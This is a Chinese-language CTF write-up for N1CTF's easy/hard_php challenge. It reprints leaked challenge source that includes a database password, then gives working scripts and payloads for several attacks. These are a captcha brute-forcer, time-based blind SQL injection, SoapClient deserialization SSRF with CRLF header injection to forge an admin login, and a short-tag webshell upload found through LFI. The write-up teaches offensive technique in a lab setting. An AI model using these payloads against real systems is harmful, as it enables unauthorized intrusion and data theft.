n1ctf_easy/hard_php

拿到题目是一个登陆页面,用 dirsearch 扫一波目录:

dir

可以看到有三个备份文件泄露,将源码拷贝下来:

index.php:

1
2
3
4
5
6
7
8
<?php

require_once 'user.php';
$C = new Customer();
if(isset($_GET['action']))
require_once 'views/'.$_GET['action'];
else
header('Location: index.php?action=login');

user.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
<?php
require_once 'config.php';

class Customer{
public $username, $userid, $is_admin, $allow_diff_ip;

public function __construct()
{
$this->username = isset($_SESSION['username'])?$_SESSION['username']:'';
$this->userid = isset($_SESSION['userid'])?$_SESSION['userid']:-1;
$this->is_admin = isset($_SESSION['is_admin'])?$_SESSION['is_admin']:0;
$this->get_allow_diff_ip();
}

public function check_login()
{
return isset($_SESSION['userid']);
}

public function check_username($username)
{
if(preg_match('/[^a-zA-Z0-9_]/is',$username) or strlen($username)<3 or strlen($username)>20)
return false;
else
return true;
}

private function is_exists($username)
{
$db = new Db();
@$ret = $db->select('username','ctf_users',"username='$username'");
if($ret->fetch_row())
return true;
else
return false;
}

public function get_allow_diff_ip()
{
if(!$this->check_login()) return 0;
$db = new Db();
@$ret = $db->select('allow_diff_ip','ctf_users','id='.$this->userid);
if($ret) {

$user = $ret->fetch_row();
if($user)
{
$this->allow_diff_ip = (int)$user[0];
return 1;
}
else
return 0;

}
}

function login()
{
if(isset($_POST['username']) && isset($_POST['password']) && isset($_POST['code'])) {
if(substr(md5($_POST['code']),0, 5)!==$_SESSION['code'])
{
die("code erroar");
}
$username = $_POST['username'];
$password = md5($_POST['password']);
if(!$this->check_username($username))
die('Invalid user name');
$db = new Db();
@$ret = $db->select(array('id','username','ip','is_admin','allow_diff_ip'),'ctf_users',"username = '$username' and password = '$password' limit 1");

if($ret)
{

$user = $ret->fetch_row();
if($user) {
if ($user[4] == '0' && $user[2] !== get_ip())
die("You can only login at the usual address");
if ($user[3] == '1')
$_SESSION['is_admin'] = 1;
else
$_SESSION['is_admin'] = 0;
$_SESSION['userid'] = $user[0];
$_SESSION['username'] = $user[1];
$this->username = $user[1];
$this->userid = $user[0];
return true;
}
else
return false;

}
else
{
return false;
}

}
else
return false;

}

function register()
{
if(isset($_POST['username']) && isset($_POST['password']) && isset($_POST['code'])) {
if(substr(md5($_POST['code']),0, 5)!==$_SESSION['code'])
{
die("code error");
}
$username = $_POST['username'];
$password = md5($_POST['password']);

if(!$this->check_username($username))
die('Invalid user name');
if(!$this->is_exists($username)) {

$db = new Db();

@$ret = $db->insert(array('username','password','ip','is_admin','allow_diff_ip'),'ctf_users',array($username,$password,get_ip(),'0','1')); //No one could be admin except me
if($ret)
return true;
else
return false;

}

else {
die("The username is not unique");
}
}
else
{
return false;
}
}

function publish()
{
if(!$this->check_login()) return false;
if($this->is_admin == 0)
{
if(isset($_POST['signature']) && isset($_POST['mood'])) {

$mood = addslashes(serialize(new Mood((int)$_POST['mood'],get_ip())));
$db = new Db();
@$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));
if($ret)
return true;
else
return false;
}
}
else
{
if(isset($_FILES['pic'])) {
if (upload($_FILES['pic'])){
echo 'upload ok!';
return true;
}
else {
echo "upload file error";
return false;
}
}
else
return false;


}

}

function showmess()
{
if(!$this->check_login()) return false;
if($this->is_admin == 0)
{
//id,sig,mood,ip,country,subtime
$db = new Db();
@$ret = $db->select(array('username','signature','mood','id'),'ctf_user_signature',"userid = $this->userid order by id desc");
if($ret) {
$data = array();
while ($row = $ret->fetch_row()) {
$sig = $row[1];
$mood = unserialize($row[2]);
$country = $mood->getcountry();
$ip = $mood->ip;
$subtime = $mood->getsubtime();
$allmess = array('id'=>$row[3],'sig' => $sig, 'mood' => $mood, 'ip' => $ip, 'country' => $country, 'subtime' => $subtime);
array_push($data, $allmess);
}
$data = json_encode(array('code'=>0,'data'=>$data));
return $data;
}
else
return false;

}
else
{
$filenames = scandir('adminpic/');
array_splice($filenames, 0, 2);
return json_encode(array('code'=>1,'data'=>$filenames));

}
}

function allow_diff_ip_option()
{
if(!$this->check_login()) return false;
if($this->is_admin == 0)
{
if(isset($_POST['adio'])){
$db = new Db();
@$ret = $db->update_single('ctf_users',"id = $this->userid",'allow_diff_ip',(int)$_POST['adio']);
if($ret)
return true;
else
return false;
}
}
else
echo 'admin can\'t change this option';
return false;
}

function deletemess()
{
if(!$this->check_login()) return false;
if(isset($_GET['delid'])) {
$delid = (int)$_GET['delid'];
$db = new Db;
@$ret = $db->delete('ctf_user_signature', "userid = $this->userid and id = '$delid'");
if($ret)
return true;
else
return false;
}
else
return false;
}

}

config.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
<?php
header("Content-Type:text/html;charset=UTF-8");
date_default_timezone_set("PRC");

session_start();
class Db
{
private $servername = "localhost";
private $username = "Nu1L";
private $password = "Nu1Lpassword233334";
private $dbname = "nu1lctf";
private $conn;

function __construct()
{
$this->conn = new mysqli($this->servername, $this->username, $this->password, $this->dbname);
}

function __destruct()
{
$this->conn->close();
}

private function get_column($columns){

if(is_array($columns))
$column = ' `'.implode('`,`',$columns).'` ';
else
$column = ' `'.$columns.'` ';

return $column;
}

public function select($columns,$table,$where) {

$column = $this->get_column($columns);

$sql = 'select '.$column.' from '.$table.' where '.$where.';';
$result = $this->conn->query($sql);

return $result;

}

public function insert($columns,$table,$values){

$column = $this->get_column($columns);
$value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)).')';
$nid =
$sql = 'insert into '.$table.'('.$column.') values '.$value;
$result = $this->conn->query($sql);

return $result;
}

public function delete($table,$where){

$sql = 'delete from '.$table.' where '.$where;
$result = $this->conn->query($sql);

return $result;
}

public function update_single($table,$where,$column,$value){

$sql = 'update '.$table.' set `'.$column.'` = \''.$value.'\' where '.$where;
$result = $this->conn->query($sql);

return $result;
}




}

class Mood{

public $mood, $ip, $date;

public function __construct($mood, $ip) {
$this->mood = $mood;
$this->ip = $ip;
$this->date = time();

}

public function getcountry()
{
$ip = @file_get_contents("http://ip.taobao.com/service/getIpInfo.php?ip=".$this->ip);
$ip = json_decode($ip,true);
return $ip['data']['country'];
}

public function getsubtime()
{
$now_date = time();
$sub_date = (int)$now_date - (int)$this->date;
$days = (int)($sub_date/86400);
$hours = (int)($sub_date%86400/3600);
$minutes = (int)($sub_date%86400%3600/60);
$res = ($days>0)?"$days days $hours hours $minutes minutes ago":(($hours>0)?"$hours hours $minutes minutes ago":"$minutes minutes ago");
return $res;
}


}

function get_ip(){
return $_SERVER['REMOTE_ADDR'];
}

function upload($file){
$file_size = $file['size'];
if($file_size>2*1024*1024) {
echo "pic is too big!";
return false;
}
$file_type = $file['type'];
if($file_type!="image/jpeg" && $file_type!='image/pjpeg') {
echo "file type invalid";
return false;
}
if(is_uploaded_file($file['tmp_name'])) {
$uploaded_file = $file['tmp_name'];
$user_path = "/app/adminpic";
if (!file_exists($user_path)) {
mkdir($user_path);
}
$file_true_name = str_replace('.','',pathinfo($file['name'])['filename']);
$file_true_name = str_replace('/','',$file_true_name);
$file_true_name = str_replace('\\','',$file_true_name);
$file_true_name = $file_true_name.time().rand(1,100).'.jpg';
$move_to_file = $user_path."/".$file_true_name;
if(move_uploaded_file($uploaded_file,$move_to_file)) {
if(stripos(file_get_contents($move_to_file),'<?php')>=0)
system('sh /home/nu1lctf/clean_danger.sh');
return $file_true_name;
}
else
return false;
}
else
return false;
}
function addslashes_deep($value)
{
if (empty($value))
{
return $value;
}
else
{
return is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value);
}
}
function rand_s($length = 8)
{
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?|';
$password = '';
for ( $i = 0; $i < $length; $i++ )
{
$password .= $chars[ mt_rand(0, strlen($chars) - 1) ];
}
return $password;
}

function addsla_all()
{
if (!get_magic_quotes_gpc())
{
if (!empty($_GET))
{
$_GET = addslashes_deep($_GET);
}
if (!empty($_POST))
{
$_POST = addslashes_deep($_POST);
}
$_COOKIE = addslashes_deep($_COOKIE);
$_REQUEST = addslashes_deep($_REQUEST);
}
}
addsla_all();

审计一下源码,可以看到在 config.php 中Db类里面有一个 insert() 方法,它会将 反引号(`) xxxx(`)替换为‘xxxx’:

insert

而在它上面有一个 get_column() 会将语句用反引号拼接起来:

column

这样看起来会造成注入漏洞,所以我们需要找一个可控的参数,作为我们的注入点,可以看到在 user.php 中有一个 publish() 方法,这里就可以找到一个 signture 参数可控:

publish

于是,可以尝试注入,不过由于这个方法实在用户登陆之后的界面,所以我们需要绕过一下验证码,这里附上大佬们的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import multiprocessing
from os import urandom
from hashlib import md5
import sys

processor_number = 8


def work(cipher):
for i in xrange(100):
plain = urandom(16).encode('hex')
if md5(plain).hexdigest()[:5] == cipher:
print plain
sys.exit(0)


if __name__ == '__main__':
cipher = raw_input('md5:')
print 'Processor Number:', multiprocessing.cpu_count()
pool = multiprocessing.Pool(processes=processor_number)
while True:
plain = urandom(16).encode('hex')
pool.apply_async(work, (cipher, ))
pool.close()
pool.join()

登陆进来之后,就去测试一下,是否能注入:

sql

构造payload:

sql2

利用时间盲注可以实现,手工太麻烦,这里就附上脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import string
import urllib
url = "http://ip/index.php?action=publish"
flag = ""
true_flag = ""
cookie={
"PHPSESSID":"pmk3fnpkn8a1digj6tukdvij66"
}
for i in range(1,1000):
print i
payload = flag
for j in "0123456789."+string.letters+"!@#$^&*(){}=+`~_":
data = {
"signature":urllib.unquote("1`,`123`),((select if((select password from ctf_users limit 1) like 0x%s25,sleep(3),0)),(select 2),`baidu"%(payload+hex(ord(j))[2:])),
"mood":"1"
}
try:
r =requests.post(url=url,data=data,cookies=cookie,timeout=2.5)
except:
flag += hex(ord(j))[2:]
true_flag += j
print true_flag
break

得到加密的MD5:

sql3

解密后密码为:nu1ladmin,虽然拿到admin密码,但是还是不能登陆进去,这里对amdin的ip进行了限制,只有本地才能登陆admin:

ip

所以这里可能就需要我们利用ssrf绕过本地登陆的限制,看到大佬的wp,在showmess()方法中,会对数据经行反序列化,由于注入,所以这里会导致反序列化漏洞

shmess

利用php内置类Soapclient来进行攻击的。这里解释下什么是soap:

SOAP是webService三要素{SOAP,WSDL(WebServicesDescriptionLanguage),UDDI(UniversalDescriptionDiscovery andIntegration)}之一:WSDL 用来描述如何访问具体的接口, UDDI用来管理,分发,查询webService ,SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。其采用HTTP作为底层通讯协议,xml作为数据传输的格式.

php中的SoapClient类可以创建soap数据报文,与wsdl接口进行交互。官方文档是这样的:

soap

第一个参数是用来指明是否是wsdl模式,如果为null,那就是非wsdl模式,反序列化的时候会对第二个参数指明的url进行soap请求,我们可以尝试:

test.php:

1
2
3
4
<?php
$a = new SoapClient(null, array('location' => "http://192.168.1.105:8887",'uri'=> "\\\"HACK"));
echo serialize($a);
?>

use.php:

1
2
3
4
5
<?php
$mth=$_GET['mth'];
$a=unserialize($mth);
$a->ss();
?>

这里我们调用反序列化之后的值去访问一个soapclient不存在的方法,会触发__call() 去访问我们的目标地址,并且这里的uri参数是可控的:

test

当我们访问时,利用CRLF攻击,可以使得参数逃逸出来经行攻击,这里附上我的payload:

1
mth=O:10:"SoapClient":3:{s:3:"uri";s:11:"\\"%0d%0aHACK%0d%0a";s:8:"location";s:25:"http://192.168.1.105:8887";s:13:"_soap_version";i:1;}

但是,我们要伪造admin发送报文登陆,需要关键的头部:content-type和content-length,看到大佬的分析,知道user-agent可以造成CRLF攻击,这样我们就可以伪造admin发送报文了。

生成admin报文的POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$target = 'http://127.0.0.1/index.php?action=login';
$post_string = 'username=admin&password=nu1ladmin&code=cf44f3147ab331af7d66943d888c86f9';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo bin2hex($aaa);
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /index.php?action=publish HTTP/1.1
Host: 192.168.1.105:8002
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.105:8002/index.php?action=publish
Content-Type: application/x-www-form-urlencoded
Content-Length: 788
Cookie: PHPSESSID=7r64n9okk0d41n2av77fkcnuf4
Connection: close
Upgrade-Insecure-Requests: 1

signature=aaa`,0x4f3a31303a22536f6170436c69656e74223a343a7b733a333a22757269223b733a343a2261616162223b733a383a226c6f636174696f6e223b733a33393a22687474703a2f2f3132372e302e302e312f696e6465782e7068703f616374696f6e3d6c6f67696e223b733a31313a225f757365725f6167656e74223b733a3232333a22777570636f0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a582d466f727761726465642d466f723a203132372e302e302e310d0a436f6f6b69653a205048505345535349443d69626737333176306e75727165623869343335366a69347574320d0a436f6e74656e742d4c656e6774683a2037310d0a0d0a757365726e616d653d61646d696e2670617373776f72643d6e75316c61646d696e26636f64653d6264353365326133303163343539663537356639623034306562386563663365223b733a31333a225f736f61705f76657273696f6e223b693a313b7d)#&mood=0
1
2
3
4
5
6
7
8
9
10
GET /index.php?action=index HTTP/1.1
Host: 192.168.1.105:8002
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=7r64n9okk0d41n2av77fkcnuf4
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

然后在作为admin登陆的session页面上刷新,就成为admin了。admin页面有个文件上传页面,审计一下源码,会发现,会对文件内包含<?php的文件,运行clean_danger.sh去删除文件,我们这里LFI读取一下这个文件:

1
2
cd /app/adminpic/
rm *.jpg

这里有几种思路:

1) 利用linux命令的特性:

2) 对<?php进行绕过:


3) 使用短标签:

php版本在5.4之后默认解析 <?=

上传之后,会对文件名进行重命令,这里需要脚本爆破一下文件名,首先生成一个再上传之前的时间戳,然后爆破

exp.py:

1
2
3
4
5
6
7
8
9
10
11
12
# -*- coding:utf-8 -*-

import requests
time = 152101732000
url = 'http://192.168.187.133/index.php?action=../../../../app/adminpic/-haha{}.jpg'
for i in range(10000):
tmp = time + i
ul = url.format(tmp)
html = requests.get(ul).status_code
if html == 200:
print(ul)
break

拿到webshell读到配置文件 run.sh里面有数据库的配置,flag在数据库里。